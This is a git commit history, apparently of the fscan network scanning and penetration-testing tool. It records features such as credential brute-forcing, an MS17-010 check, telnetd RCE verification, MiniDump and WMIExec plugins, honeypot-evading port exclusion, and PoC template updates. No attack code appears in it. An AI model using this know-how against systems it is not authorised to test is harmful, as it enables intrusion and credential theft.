并覆盖了全局状态,导致URLs数据丢失。现在在创建新状态前
先保存并迁移Parse阶段设置的URLs和HostPorts数据。

* fix: 智能检测HTTP/HTTPS协议并优化URL显示

- 修复-u/-uf模式URLs丢失导致0目标扫描问题
- detectProtocol改为主动TLS握手检测,不依赖服务名
- WebTitle输出显示完整协议(http/https)
- 隐藏标准端口(80/443)使输出更简洁

* refactor: 精简parsers包,统一配置构建入口

- 删除冗余的中间层(XXXInput、XXXParser类)
- 新增 config_builder.go 统一配置构建
- parsers包从3000+行精简至~540行
- 保留核心函数:ParseIP、ParsePort、文件读取、凭据解析

* test: 扩展parsers单元测试覆盖边缘情况

- 新增内网简写解析测试(192/172/10)
- 新增完整IP范围和无效CIDR测试
- 新增Windows行尾(CRLF)处理测试
- 新增凭据和哈希文件解析测试
- 新增端口解析边缘情况测试
- 测试覆盖率达到94.2%

* refactor: 优化控制台输出格式

- 去掉时间戳,保留[*][+]前缀
- Web输出合并WebTitle和WebFinger为一行
- 有指纹显示绿色[+],无指纹显示白色[*]
- 格式: code:xxx len:xxx title:xxx server:xxx [指纹]
- 服务探测格式: [Product:xxx ||Version:xxx] Banner:(xxx)
- 字段对齐,输出更清爽

* feat: 添加凭据测试未发现弱密码的提示

- credential_tester.go: 失败时设置 Type=ResultTypeCredential
- scanner.go: 根据结果类型在 error 级别输出'未发现弱密码'提示
- 新增 i18n 翻译 brute_no_weak_pass

使用 -log all 或 -log error 可看到此提示

* refactor(logging): 重构日志级别为层级过滤设计

- LogLevel 从 string 改为 int 类型,支持层级比较
- 层级设计:Debug(0) < Base(1) < Info(2) < Success(3) < Vuln(4) < Error(5)
- 设置一个级别后,显示该级别及以上的日志
- Error 级别始终显示,不会被配置过滤掉
- 保留向后兼容别名(LevelAll, LevelInfoSuccess 等)
- 更新测试以匹配新的层级过滤行为

* style(logging): Error级别日志改为黄色显示

* style(findnet): NetInfo输出改为每行一个IP

* refactor(ms17010): 优化错误提示,明确指出SMBv1不支持等情况

* fix(credential): 修复凭据测试结果不一致的问题

问题原因:
1. 未知错误类型不重试,导致服务端限流时跳过正确密码
2. SSH 错误分类不够准确,某些临时错误未被识别

修复内容:
1. 未知错误改为可重试(可能是临时问题)
2. 增加 SSH 特有的网络错误识别(handshake failed, disconnect 等)

* fix(portfinger): 修复SMB2服务指纹识别和NetInfo输出问题

- 添加SMB2ProgNeg探针支持现代Windows的SMB2协议
- 修复Go regexp对高位字节的UTF-8兼容问题,使用Latin-1转换
- 修复探针失败后连接重建逻辑
- 修复vendor_product字段名不匹配问题
- 修复NetInfo多行输出被其他日志打断的问题

* fix(config): 从默认端口移除9100,避免触发打印机打印 (#517)

* feat(proxy): 增强代理端口扫描的深度验证机制

- 新增4阶段深度验证:Banner读取→探测发送→响应等待→最终判定
- 新增SOCKS5错误码和代理错误文本检测
- 优化ProbeProxyBehavior探测逻辑,发送数据验证连接可达性
- 解决透明代理/全回显代理导致的假阳性问题

* fix(proxy): 修复代理深度验证的若干问题

- detector.go: 修复 AutoConfigureProxy 覆盖探测结果的问题
  只有未探测过时才设置默认 proxyReliable 值

- port_scan.go: 改进深度验证机制
  - 使用带 Host header 的 HTTP GET 请求替代 OPTIONS
  - 延长响应等待超时至 2s 以适配慢速服务器
  - 正确重置连接 deadline 避免影响后续操作

* refactor: 统一 common 包文件命名风格

Flag.go -> flag.go

* refactor(proxy): 删除自定义 contains() 函数,改用标准库

- 用 strings.Contains() 替代手写的 contains()
- 删除过时的注释

* fix(parsers): 修复带横杠域名被误识别为IP范围的问题

如 111-555.sss.com 这类域名因包含 - 被错误解析为 IP 范围,
添加 looksLikeIPRange() 检查,只有 - 前是有效 IP 才走范围解析

* fix(proxy): 修复代理模式下服务识别错误和端口漏扫问题

- port_scan.go: 验证通过后重建干净连接,避免HTTP GET探测污染服务识别
- port_scan.go: 优化验证策略,用轻量CRLF探测替代HTTP GET,超时从2.2s降至0.6s
- manager.go: 修正ProbeProxyBehavior判断逻辑,超时应视为代理正常转发

* fix(pool): 移除线程池预分配,优化大规模扫描内存占用

WithPreAlloc(true) 会预先创建所有 worker goroutine,
在大规模扫描(如 25域名×65535端口)时可能导致内存问题

* refactor(logging): 统一日志前缀,删除废弃的 LogBase

- 删除 LogBase 函数,所有调用迁移到 LogInfo/LogError
- 新增 PrefixDebug ([.]) 前缀,所有日志级别现在都有前缀
- 修复日志输出缩进不一致的问题
- 删除未使用的 PrefixDefault 常量

* perf(icmp): 实现自适应等待算法优化存活检测性能

- 新增 waitAdaptive 函数,监控响应增量实现智能提前结束
- 算法保守原则:最小等待1s + 连续500ms无新响应才提前结束
- 添加100ms检查间隔避免CPU空转
- 保留原有最大等待时间(3s/6s)作为兜底
- 添加完整单元测试覆盖各种场景

优化效果:
- 全部响应:~100ms (原3s)
- 无响应:~1s (原3s)
- 部分响应后稳定:~1.5s (原3s)

* perf(scan): 实现启发式优化提升扫描体验

1. 端口优先级排序:高价值端口(80,443,22,3389等)优先扫描
   - 用户能更快看到有意义的结果
   - 不影响端口喷洒策略

2. TCP 补充探测:ICMP 响应率<10%时自动启用
   - 对未响应主机用 TCP 80/443/22/445 补充探测
   - 解决防火墙过滤 ICMP 导致漏检的问题

* refactor(grdp): 精简RDP库,删除认证检测不需要的代码

- 删除 VNC 协议支持 (protocol/rfb, client/rfb.go)
- 删除完整客户端框架 (client/)
- 删除 RemoteApp 等插件 (plugin/)
- 删除 RLE 图形解压 (core/rle.go)
- 删除绘图指令处理 (pdu/orders.go, pdu/gdi.go)
- 精简 screen.go,移除截图和完整会话功能
- 移除未使用的 RGB 转换函数

grdp 代码从 13,044 行精简至 7,581 行,削减 42%

* refactor(common): 删除死代码,优化代码风格

- 删除未使用的 joinStrings/joinInts 函数
- 删除未使用的 memStats 字段和 getMemoryInfo 方法
- 简化 parsePasswords 中的循环为 append(...) 形式

* refactor(services): 统一数据库插件的DBWrapper

4个数据库插件(MySQL、PostgreSQL、MSSQL、Oracle)都有相同的sql.DB包装代码,
合并为通用的SQLDBWrapper,减少重复。

* refactor(core,grdp): 删除未使用的死代码

- 移除 BaseScanStrategy.LogPluginInfoWithPort 方法(无调用者)
- 移除 mcs.go 中被注释的旧 connect 函数实现

* refactor: 删除 deadcode 检测出的未使用函数

- proxy/detector.go: 删除 IsSOCKS5Standard, IsProxyInitialized
- findnet.go: 删除 NetworkInfo.OneLine, TreeFormat 方法
- port_scan.go: 删除 estimateScanTime 函数
- web_scanner.go: 删除 GetFingerprints 函数
- 清理相关测试代码

* refactor: 删除更多未使用的死代码

- parse.go: 删除 RemoveDuplicate 函数及其测试
- parsers.go: 删除 excludeHosts, removeDuplicates 别名函数
- 更新测试使用真正的函数名

* fix(test): 修复 TestParseIP_InvalidIPRange 测试用例

- 删除不合理的测试用例(无效IP被当作普通主机名处理是设计行为)
- 修复测试逻辑,只在真正通过时输出"正确"

* fix(scan): 移除域名预解析,保留原始域名进行扫描

域名预解析会将域名转换为IP,导致虚拟主机场景下HTTP访问失败
(Host头变成IP而非域名,无法正确路由)

* fix(scan): 修复 -hf 参数无法单独使用的问题

* fix(proxy): 修复透明代理环境下 SOCKS5 代理全端口误报问题

问题:在透明代理(TUN模式)环境下使用 SOCKS5 代理扫描时,
会出现全端口开放的误报,因为代理可靠性检测被透明代理污染。

修复方案(参考 fscanx):
1. 将探针从 CRLF 改为 HTTP GET,更有效检测真实连接状态
2. 删除 "uncertain" 状态,无响应一律判定为端口关闭
3. 调整超时时间以适应代理链路延迟

Fixes #524

* feat(telnet): 新增 telnetd RCE 命令执行验证,修复未授权访问日志级别

* fix: 修复 i18n.Tr vet 报错、Unicode 测试用例,移除过期域名

- 移除 i18n.Tr 中错误的 fmt.Sprintf fallback,消除 go vet 误报
- 修复 match_engine_test Unicode 测试用例与 Latin-1 转换逻辑不匹配
- README 移除过期的 fscan.club 域名
- 添加 .gitattributes 统一换行符为 LF

* refactor: 统一控制台输出风格,使用统一的日志函数

手动合并 PR #558 的改动,适配重构后的代码路径

* fix(ci): 修复版本注入和CI触发配置

- goreleaser ldflags 指向正确的包路径 common.version/commit/date
- version 改为 var 支持 ldflags 注入,banner 显示 commit 和构建日期
- test-build 触发分支增加 dev-* 通配

* fix(ci): 修复 Windows 产物 .exe.exe 双后缀问题

* feat(ci): 扩展构建架构支持 MIPS/ARM/FreeBSD/Solaris
2026-04-25 17:39:16 +08:00
ZacharyZcR 594f567650 Update README.md 2026-04-14 06:09:38 +08:00
ZacharyZcR 6b13b2e84f feat: 添加 GitHub Issue 模板
- bug_report.yml: Bug 报告模板
- feature_request.yml: 功能请求模板
- plugin_request.yml: 新插件/协议支持请求模板
- false_positive.yml: 误报/漏报报告模板
- config.yml: 禁用空白 issue,添加文档链接
2025-12-20 10:31:39 +08:00
ZacharyZcR 03b21f92f1 docs: 测试构建 2025-07-17 23:08:06 +08:00
ZacharyZcR 2674e469b8 docs: 测试构建 2025-07-17 23:00:28 +08:00
ZacharyZcR d4a486763b docs: 测试构建 2025-07-17 22:45:05 +08:00
ZacharyZcR 6fe1f11e36 docs: 测试构建 2025-07-17 22:36:51 +08:00
ZacharyZcR 6f17deb963 docs: 测试构建 2025-07-17 22:26:42 +08:00
ZacharyZcR 820ba6a35b docs: 测试构建 2025-07-17 22:19:25 +08:00
ZacharyZcR 5bdfd769f2 docs: 测试构建 2025-07-17 22:14:53 +08:00
ZacharyZcR b6b898532b docs: 测试构建 2025-07-17 22:10:56 +08:00
ZacharyZcR 5dd74269a8 docs: 测试构建 2025-07-17 22:07:13 +08:00
ZacharyZcR 26d0955ec6 docs: 测试构建 2025-07-17 21:59:39 +08:00
ZacharyZcR a198aeabe5 docs: 测试构建 2025-07-17 21:52:06 +08:00
ZacharyZcR f182732a8b docs: 测试构建 2025-07-17 21:42:49 +08:00
ZacharyZcR b49228a07b docs: 测试构建 2025-07-17 21:37:01 +08:00
ZacharyZcR 3af09b7d8a docs: 测试构建 2025-07-17 21:33:36 +08:00
ZacharyZcR 379117b07a docs: 测试构建 2025-07-17 21:26:49 +08:00
ZacharyZcR 4adb4222dd docs: 测试构建 2025-07-17 21:23:29 +08:00
ZacharyZcR dd8e327a56 docs: 测试新的构建 2025-07-17 18:15:50 +08:00
ZacharyZcR ad5798d02e docs: 测试新的构建 2025-07-17 18:12:28 +08:00
ZacharyZcR 3c8511e91f docs: 测试新的构建 2025-07-17 18:09:18 +08:00
ZacharyZcR d5e2c15333 docs: 测试新的构建 2025-07-17 18:00:25 +08:00
ZacharyZcR 9967b34fff 触发工作流测试 2025-07-17 17:59:10 +08:00
ZacharyZcR 487681b353 docs: 测试新的构建 2025-07-17 17:53:18 +08:00
ZacharyZcR b1e67fd7b1 docs: 测试新的构建 2025-07-17 17:48:11 +08:00
shadow1ng ac68df70f7 合并dev。变动太大,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 22:08:28 +08:00
shadow1ng 76cbdfb5f6 Merge remote-tracking branch 'origin/main'
# Conflicts:
#	Common/Config.go
#	Common/Flag.go
#	Common/Log.go
#	Common/Parse.go
#	Common/ParseIP.go
#	Common/ParseScanMode.go
#	Core/ICMP.go
#	Core/PortScan.go
#	Core/Scanner.go
#	Plugins/WebTitle.go
#	README.md
#	WebScan/WebScan.go
#	WebScan/lib/Check.go
2025-05-12 22:01:58 +08:00
shadow1ng c4378545b9 合并dev。变动太大吗,又得重新优化输出,进度50%。rpc服务冲突,暂时删除 2025-05-12 21:59:16 +08:00
shadow1ng 5aa2fd3599 简化输出格式 2025-05-12 20:20:53 +08:00
shadow1ng faa9f319c8 update README.md 2025-05-12 18:17:45 +08:00
ZacharyZcR 25dc6102ed perf: 默认线程改为600 2025-05-10 16:56:41 +08:00
ZacharyZcR 0dc4a6c360 perf: 日常优化 2025-05-05 04:00:35 +08:00
ZacharyZcR 2b4a4024b8 perf: 删除无用函数 2025-05-05 02:24:37 +08:00
ZacharyZcR e58a48ba9b fix: 修复扫描逻辑 2025-04-26 06:18:01 +08:00
ZacharyZcR a8bd8ca508 docs: 移除说明,版本号增加 2025-04-26 04:25:22 +08:00
ZacharyZcR 247459a7f7 fix: 细节修复 2025-04-26 04:16:31 +08:00
ZacharyZcR 424c654c43 Merge pull request #470 from tongque0/dev
feat: 新增api扫描功能
2025-04-25 22:27:55 +08:00
tongque 7865038b22 fix:修复rebase时造成的参数丢失 2025-04-22 19:11:40 +08:00
tongque 64588ab28a feat: 添加扫描结果响应中的总结果数和结束结果数字段,并优化错误日志记录 2025-04-22 19:05:05 +08:00
tongque 2d9ea9c1d3 fix: 修复 API 密钥逻辑,确保正确设置和使用 Fscan-API-SECRET 头 2025-04-22 19:05:05 +08:00
tongque a30cd12249 refactor: rpc请求需要配置请求头:秘钥 2025-04-22 19:05:05 +08:00
tongque c074adb3a9 feat: 增强 gRPC 和 HTTP 网关服务 2025-04-22 19:05:05 +08:00
tongque f2475bf97c perf:对flag.go更少的修改,方便rebase查看文件变化 2025-04-22 19:05:00 +08:00
tongque 580b067298 fix:修复rebase时产生错误 2025-04-22 19:04:06 +08:00
tongque a010fcbb6c feat: 实现扫描任务的并发控制,优化参数解析和输出初始化逻辑 2025-04-22 19:04:06 +08:00
tongque 1f0d11d93e feat: 增加远程参数解析功能并重构扫描逻辑 2025-04-22 19:04:00 +08:00
tongque a3c5092f9b feat: 添加误删文件 2025-04-22 19:03:42 +08:00
tongque 16e40fe7ed feat: 添加API地址和加密密钥配置,重构API服务启动逻辑 2025-04-22 19:03:42 +08:00
tongque f921d81a76 feat:新增rpc服务 2025-04-22 19:03:42 +08:00
ZacharyZcR a1452eb635 fix: 参数修正 2025-04-20 19:30:23 +08:00
ZacharyZcR e4833fd5af Merge pull request #473 from cdxiaodong/dev
添加了端口排除,用来绕过端口蜜罐, 我看代码里面已经有写了 但是不能直接命令行参数调过去
2025-04-20 19:19:00 +08:00
I0veD 9092b09b16 Update Parse.go 2025-04-20 19:16:59 +08:00
I0veD d90deb0201 Update Flag.go 2025-04-20 19:16:26 +08:00
ZacharyZcR d1d242e6a8 Merge pull request #424 from adeljck/main
Update springboot-cve-2021-21234.yml
2025-04-20 18:47:42 +08:00
ZacharyZcR 28a64d60c4 Merge pull request #434 from INT2ECALL/patch-1
Update etcd-v3-unauth.yml
2025-04-20 18:38:46 +08:00
影舞者 124d29a6b3 nopoc
nopoc
2025-04-18 10:15:22 +08:00
影舞者 4928b4668a 1 2025-04-18 10:12:15 +08:00
梁凯强 5dfd0397d5 简化输出格式 2025-04-18 10:07:05 +08:00
shadow1ng 805af82a1e 简化输出格式 2025-04-17 16:18:21 +08:00
shadow1ng 875d128e53 nopoc 2025-04-17 11:17:43 +08:00
ZacharyZcR 36134b7298 Update README.md 2025-04-15 18:22:21 +08:00
ZacharyZcR be3affcedd docs: 重写README 2025-04-15 18:19:25 +08:00
ZacharyZcR 165ac8507d Merge pull request #468 from LingJingMaster/dev
添加新生成的相关logo 至image/gpt-4o
2025-04-15 17:47:36 +08:00
影舞者 0d8f31b72d 修改版本号 2025-04-15 16:48:07 +08:00
ZacharyZcR 77705118d5 refactor: 大量重构 2025-04-14 02:36:16 +08:00
LingJingMaster 7da74ebb52 添加GPT-4o最终图片 2025-04-13 21:30:37 +08:00
LingJingMaster a8b83f90a0 添加 GPT-4o 相关图片 2025-04-13 20:34:25 +08:00
ZacharyZcR a2c56ab106 fix: 大型修复,增加超时和线程控制 2025-04-13 19:17:49 +08:00
ZacharyZcR b89e892f14 fix: #457 2025-04-13 19:15:16 +08:00
ZacharyZcR f79b12a23c fix: #439 2025-04-13 15:46:37 +08:00
ZacharyZcR b8cc8ab5dc fix: #460 2025-04-13 15:08:34 +08:00
ZacharyZcR b73996884f fix: SSH优化和修复 2025-04-13 13:07:28 +08:00
ZacharyZcR c58b63a6ac fix: 修复#444 2025-04-05 22:00:21 +08:00
ZacharyZcR e4e3ff1763 fix: 修复#439 2025-04-05 21:55:57 +08:00
ZacharyZcR e962b9171b fix: 修复#443 2025-04-05 21:43:41 +08:00
ZacharyZcR 2c4e1d9c28 fix: 降低版本 2025-04-05 17:46:53 +08:00
ZacharyZcR e688b42efe fix: 修复#435 2025-04-05 17:44:52 +08:00
ZacharyZcR 1e42d41a1c fix: 修复#435 2025-04-05 17:42:13 +08:00
ZacharyZcR 87ceba4d8f fix: 修复#431 2025-04-05 17:24:09 +08:00
shadow1ng cb6d67ed7b update 2025-02-25 20:15:15 +08:00
shadow1ng 5c8088ff32 恢复-nopoc功能 2025-02-25 20:05:35 +08:00
shadow1ng 8170515236 update README.md 2025-02-25 15:03:28 +08:00
shadow1ng f27d9b31aa update README.md 2025-02-25 15:01:45 +08:00
RJ45_LAB d05641a7fc Update etcd-v3-unauth.yml
修复误报
2025-02-17 17:37:49 +08:00
ZacharyZcR 3e04e7801f Merge pull request #429 from LTP414/dev
Get commandline from ENV
2025-02-15 05:00:32 +08:00
ZacharyZcR 4aaa05f6a4 fix: 暂时去除mips相关 2025-02-14 20:45:44 +08:00
ZacharyZcR 42f8052b96 Merge pull request #399 from shadow1ng/dev
2.0.0版本合并
2025-02-14 20:17:17 +08:00
ZacharyZcR 150d62824c doc: 更新README.md 2025-02-14 20:16:41 +08:00
ZacharyZcR c3219848ef merge: 解决问题 2025-02-14 19:56:12 +08:00
ZacharyZcR 7312da8af8 merge: 解决问题 2025-02-14 19:34:45 +08:00
ZacharyZcR 3beb6b42b2 Merge branch 'main' of https://github.com/shadow1ng/fscan into dev
# Conflicts:
#	common/ParseIP.go   resolved by dev version
2025-02-14 19:33:50 +08:00
ZacharyZcR 18aae783c6 fix: Web扫描的Bug 2025-02-14 18:50:19 +08:00
LTP414 8e59c8f09c Get commandline from ENV 2025-02-09 00:15:41 +08:00
r00t 3ae0f306c1 Revert "Update mysql.go"
This reverts commit cc9d292bdd.
2025-02-07 19:21:45 +08:00
r00t cc9d292bdd Update mysql.go
Added a loop for databases to prevent certain non-existing mysql databases from being assumed not to have weak passwords
2025-02-07 19:14:07 +08:00
ZacharyZcR 46e0472ec1 feat: i18n 2025-02-07 13:10:38 +08:00
ZacharyZcR 3dde342d65 feat: i18n 2025-02-07 13:10:06 +08:00
ZacharyZcR eb8cda3b7f perf: 优化注释 2025-02-07 12:08:14 +08:00
ZacharyZcR bcb326dbef perf: 优化本地扫描 2025-02-07 12:08:06 +08:00
ZacharyZcR 102d100c25 perf: 优化代码结构 2025-02-07 11:39:04 +08:00
r00t b8a591920b Update springboot-cve-2021-21234.yml
Update springboot-cve-2021-21234.yml
2025-01-26 22:02:59 +08:00
ZacharyZcR c94ec76292 fix: 降级go版本适应环境 2025-01-15 15:49:22 +08:00
ZacharyZcR 65b94465fe Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2025-01-15 15:17:22 +08:00
影舞者 d367be0c68 Merge pull request #409 from INT2ECALL/dev
add etcd v3 poc
2025-01-15 15:14:18 +08:00
ZacharyZcR cdbc0e02f3 refactor: 修改日志显示等级 2025-01-15 15:14:15 +08:00
ZacharyZcR f20aadb745 refactor: 默认不开启进度条 2025-01-15 15:10:01 +08:00
ZacharyZcR 97e9ac7161 feat: 分离结果输出和日志 2025-01-14 23:38:58 +08:00
ZacharyZcR c6c613a17b fix: 去掉不完善的SYN扫描 2025-01-14 13:06:24 +08:00
ZacharyZcR a245934cf2 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2025-01-12 22:26:43 +08:00
ZacharyZcR 0235bf5af5 fix: -hf的一个问题 修复#412的问题 2025-01-12 22:26:18 +08:00
ZacharyZcR e2c8dd8b1f Merge pull request #412 from BaiMeow/patch-1
Fix 192.168 should mask 16
2025-01-12 21:31:30 +08:00
ZacharyZcR e624c3092f Merge pull request #413 from adeljck/dev
更新了漏洞扫描时,详细信息输出错误的问题
2025-01-12 21:29:46 +08:00
ZacharyZcR 86b6faec79 fix: 修复一些逻辑问题 2025-01-09 23:32:50 +08:00
r00t 8f2226987d Update Check.go
Bug Fix
2025-01-07 18:44:11 +08:00
柏喵Sakura a852bc569f Fix 192.168 should mask 16 2025-01-07 17:59:02 +08:00
RJ45_LAB 2da0804b7f add etcd poc
add etcd poc
2025-01-06 17:38:18 +08:00
ZacharyZcR 235e2aee60 refactor: 调整逻辑,修复SMB2的一个跳出问题 2025-01-04 17:00:03 +08:00
ZacharyZcR af06345aa5 refactor: 调整扫描逻辑 2025-01-04 14:04:41 +08:00
ZacharyZcR 75aeee5215 feat: 优化域探测显示,调整Web扫描逻辑 2025-01-04 11:49:59 +08:00
ZacharyZcR a42ee523b0 feat: 增加端口识别,修复插件总超时 2025-01-03 16:29:54 +08:00
ZacharyZcR a603e13d3b perf: 优化进度条 2025-01-01 08:27:13 +08:00
ZacharyZcR ceede3cd68 refactor: 输出格式重构,去掉所有插件的多线程,因为多线程会导致结果不准确,加入进度条 2025-01-01 07:18:36 +08:00
ZacharyZcR 277ea5d332 refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑 2025-01-01 05:24:49 +08:00
ZacharyZcR d13e1952e9 fix: 修复了RDP的一个死锁问题 2025-01-01 00:50:36 +08:00
ZacharyZcR df4d39fb1f fix: 修复了SMB的一个已知问题 2025-01-01 00:39:39 +08:00
ZacharyZcR e93b6fc613 fix: 修复了RPC的一个已知问题 2025-01-01 00:04:53 +08:00
ZacharyZcR 42482228da fix: 修复了FTP的一个已知问题 2024-12-31 20:42:08 +08:00
ZacharyZcR c004762a8c refactor: 全部优化为多线程 2024-12-31 20:25:54 +08:00
ZacharyZcR ed69e41001 refactor: 对Redis环境做了优化,输出优化 2024-12-31 19:41:21 +08:00
ZacharyZcR 5e06a0b2b7 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-28 06:39:16 +08:00
ZacharyZcR 2ce7041c95 refactor: 去掉UDP扫描、优化了DCInfo和MiniDump的检测机制 2024-12-28 06:38:44 +08:00
ZacharyZcR 0954492540 refactor: 增加约束编译 2024-12-28 06:34:37 +08:00
ZacharyZcR ee1d176a8f refactor: 重构WMIExec模块 2024-12-28 06:02:01 +08:00
ZacharyZcR ef70395d7d feat: 增加MiniDump插件 2024-12-28 05:43:38 +08:00
ZacharyZcR 907b92863e feat: 增加域环境扫描 2024-12-28 05:43:22 +08:00
ZacharyZcR befaa28bbd feat: 增加域环境扫描 2024-12-28 05:32:43 +08:00
shadow1ng 679c25eb38 update 2024-12-23 11:11:38 +08:00
ZacharyZcR ad9cafe0ad docs: Fscan2.0介绍更新 2024-12-23 07:49:04 +08:00
ZacharyZcR 40e8f6621d feat: 增加Neo4j扫描和测试环境 2024-12-23 07:15:25 +08:00
ZacharyZcR fe1b92cc98 feat: 增加Cassandra扫描和测试环境 2024-12-23 07:04:12 +08:00
ZacharyZcR 0a9c732ee8 feat: 增加Rsync扫描和测试环境 2024-12-23 06:43:44 +08:00
ZacharyZcR 94121a796f feat: 增加Modbus扫描和测试环境 2024-12-23 06:16:35 +08:00
ZacharyZcR fa1d787c84 refactor: UDP扫描换用Nmap 2024-12-23 04:36:03 +08:00
ZacharyZcR 1a5f789ba8 feat: 增加Weblogic测试环境 2024-12-23 04:04:48 +08:00
ZacharyZcR 57b6d41737 feat: 增加Tomcat测试环境 2024-12-23 03:42:46 +08:00
ZacharyZcR 1f860f22c8 feat: 增加Tomcat扫描 2024-12-23 03:42:34 +08:00
ZacharyZcR 6ba42c8c39 feat: 增加Zabbix测试环境 2024-12-23 03:30:19 +08:00
ZacharyZcR 016dfa7889 feat: 增加Zabbix扫描 2024-12-23 03:30:13 +08:00
ZacharyZcR 1906acf551 perf: 优化UDP扫描逻辑 2024-12-23 03:15:14 +08:00
ZacharyZcR 26525dbb0e feat: 增加SNMP测试环境 2024-12-23 03:00:07 +08:00
ZacharyZcR 3529efcb24 feat: 增加SNMP扫描 增加UDP端口扫描 2024-12-23 02:59:59 +08:00
ZacharyZcR 9e8726e1f8 feat: 增加POP3测试环境 2024-12-23 02:21:25 +08:00
ZacharyZcR 5524300824 feat: 增加POP3扫描 2024-12-23 02:21:17 +08:00
ZacharyZcR c62e19ad26 feat: 增加IMAP测试环境 2024-12-23 01:50:27 +08:00
ZacharyZcR 7bded7bc31 feat: 增加IMAP扫描 2024-12-23 01:50:20 +08:00
ZacharyZcR 8f5d0caaf2 refactor: 去掉WMIexec在默认执行的位置 2024-12-23 01:17:39 +08:00
ZacharyZcR 46f9ab84b1 feat: 增加端口SYN扫描 2024-12-22 10:53:36 +08:00
ZacharyZcR 04ee3afb07 docs: 2.0使用指南 2024-12-22 05:17:40 +08:00
ZacharyZcR a5738304a1 feat: 增加SMTP测试环境 2024-12-22 04:40:07 +08:00
ZacharyZcR 66e52791f7 feat: 增加SMTP扫描 2024-12-22 04:39:58 +08:00
ZacharyZcR 760246b7e0 feat: 增加LDAP测试环境 2024-12-22 04:13:54 +08:00
ZacharyZcR ee8f52c199 feat: 增加LDAP扫描 2024-12-22 04:13:47 +08:00
ZacharyZcR dfe74fc5b4 fix: 暂时修复编译问题 2024-12-22 04:02:27 +08:00
ZacharyZcR f06013326f feat: 增加ActiveMQ测试环境 2024-12-22 04:01:41 +08:00
ZacharyZcR 4d6b529768 feat: 增加ActiveMQ扫描 2024-12-22 04:01:33 +08:00
ZacharyZcR bbbc4317df fix: 修复Kafka扫描 2024-12-22 03:28:53 +08:00
ZacharyZcR 1b9c9a00fe feat: 增加Kafka测试环境 2024-12-22 03:28:35 +08:00
ZacharyZcR cfea0afd9c feat: 增加Kafka扫描 2024-12-22 03:18:46 +08:00
ZacharyZcR 70d008ba69 feat: 增加RabbitMQ测试环境 2024-12-22 03:03:42 +08:00
ZacharyZcR eb1b0f32a6 refactor: 重构扫描模式逻辑 2024-12-22 02:58:55 +08:00
ZacharyZcR e70a1a7bd2 feat: 增加RabbitMQ扫描 2024-12-22 02:48:59 +08:00
ZacharyZcR 8be8f94d82 feat: 增加单独的Elasticsearch扫描 2024-12-22 02:31:56 +08:00
ZacharyZcR 2e3ccee2e0 perf: 优化输出说明 2024-12-22 02:31:29 +08:00
ZacharyZcR eab41f6018 docs: 更新文档说明 2024-12-21 22:13:10 +08:00
ZacharyZcR c5dcf2c633 refactor: 重构扫描模式逻辑 2024-12-21 18:26:44 +08:00
ZacharyZcR d192b7fc2a feat: 增加本地扫描Flag 2024-12-21 18:26:19 +08:00
ZacharyZcR 44c1a207dd Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev
# Conflicts:
#	Plugins/RDP.go   resolved by origin/dev(远端) version
2024-12-21 17:21:57 +08:00
ZacharyZcR 33cb33b1ad perf: 统一错误输出 2024-12-21 17:21:41 +08:00
shadow1ng 17c85431ca update 2024-12-21 13:13:12 +08:00
shadow1ng 8767c9bae4 update 2024-12-21 13:10:52 +08:00
ZacharyZcR 2bfd58663c fix: 修复多线程问题 2024-12-21 02:00:16 +08:00
ZacharyZcR b7d4e185aa feat: 添加FTP测试靶场 2024-12-21 02:00:04 +08:00
ZacharyZcR 497bc2e86b fix: SSH连接超时问题 2024-12-20 21:01:56 +08:00
ZacharyZcR 9cd137c099 fix: SSH连接超时问题 2024-12-20 20:57:27 +08:00
ZacharyZcR 1313916081 fix: SSH连接超时问题 2024-12-20 20:44:59 +08:00
ZacharyZcR e7d9354284 feat: 添加Telnet测试靶场 2024-12-20 20:16:03 +08:00
ZacharyZcR 5789017d1a feat: 添加Telnet扫描 2024-12-20 20:15:55 +08:00
ZacharyZcR 878595e341 feat: 添加Mongodb测试靶场 2024-12-20 19:53:20 +08:00
ZacharyZcR c7b6e21d39 feat: 添加Memcached测试靶场 2024-12-20 19:51:29 +08:00
ZacharyZcR e6545417b8 feat: 添加Redis测试靶场 2024-12-20 19:49:22 +08:00
ZacharyZcR 3fe6e3eec5 feat: 添加Oracle测试靶场 2024-12-20 19:45:44 +08:00
ZacharyZcR 5190d63680 feat: 添加Oracle测试靶场 2024-12-20 19:45:35 +08:00
ZacharyZcR daec3c1ca4 feat: 添加MSSQL测试靶场 2024-12-20 19:45:24 +08:00
ZacharyZcR 763da727ac feat: 添加Postgre测试靶场 2024-12-20 19:35:26 +08:00
ZacharyZcR 92217f572f feat: 添加MySQL测试靶场 2024-12-20 19:12:46 +08:00
ZacharyZcR bf1b45f407 feat: 添加SSH测试靶场 2024-12-20 19:08:49 +08:00
ZacharyZcR 672dfee2ac feat: 添加SSH 2222端口 2024-12-20 19:08:40 +08:00
ZacharyZcR 57e0cc06e1 feat: 添加VNC测试靶场 2024-12-20 19:02:51 +08:00
ZacharyZcR 375a1e4673 refactor: 端口支持改为列表 2024-12-20 18:38:13 +08:00
ZacharyZcR 8f1c5dbae9 refactor: 默认扫描机制 2024-12-20 17:54:36 +08:00
ZacharyZcR 92c03e95a9 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-20 17:32:47 +08:00
ZacharyZcR 4da94448cb refactor: 大型重构 2024-12-20 17:32:25 +08:00
shadow1ng 2f7d020e9f update 2024-12-20 16:30:58 +08:00
ZacharyZcR 9c0fcd98fe Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-20 14:19:46 +08:00
ZacharyZcR 1278a0355f refactor: 大型重构 2024-12-20 14:19:23 +08:00
shadow1ng 0152428748 updata 2024-12-20 11:36:15 +08:00
ZacharyZcR bdeabec67e refactor: 大型重构 2024-12-20 03:46:09 +08:00
ZacharyZcR c0b7f4ca4f feat: 添加VNC测试靶场 2024-12-20 03:01:26 +08:00
ZacharyZcR ef2c20bf4e feat: 添加VNC扫描功能 2024-12-20 03:00:48 +08:00
影舞者 2481ca4184 Update release.yml 2024-12-19 23:09:26 +08:00
影舞者 9ee51a96d8 Update release.yml 2024-12-19 23:09:06 +08:00
1001 changed files with 125026 additions and 11024 deletions
+2
View File
@@ -0,0 +1,2 @@
